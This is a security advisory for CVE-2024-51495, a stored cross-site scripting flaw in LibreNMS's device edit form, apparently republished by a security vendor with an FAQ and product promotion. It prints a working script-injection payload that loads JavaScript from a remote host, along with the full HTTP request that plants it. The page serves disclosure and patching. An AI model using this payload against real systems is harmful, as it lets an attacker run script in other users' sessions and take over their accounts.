CVE-2024-51495

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.

Details

The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.

The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42

PoC

1. Edit a device and use the following payload in the "overwrite_ip" parameter: test'"><script src=//15.rs></script>
2. Save the changes.
3. Navigate to the device overview page.
4. Observe that the injected script executes in the "Assigned IP" field.

POST /device/14/edit HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&editing=yes&display=&overwrite_ip=test'"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=

This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2024-51495 has a CVSS score of 7.5 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (24.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-51495? CVE-2024-51495 is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions <= 24.9.1. It is fixed in 24.10.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2024-51495? CVE-2024-51495 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2024-51495? librenms/librenms (composer) versions <= 24.9.1 is affected.
4. Is there a fix for CVE-2024-51495? Yes. CVE-2024-51495 is fixed in 24.10.0. Upgrade to this version or later.
5. Is CVE-2024-51495 exploitable, and should I be worried? Whether CVE-2024-51495 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-51495 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-51495? Upgrade librenms/librenms to 24.10.0 or later.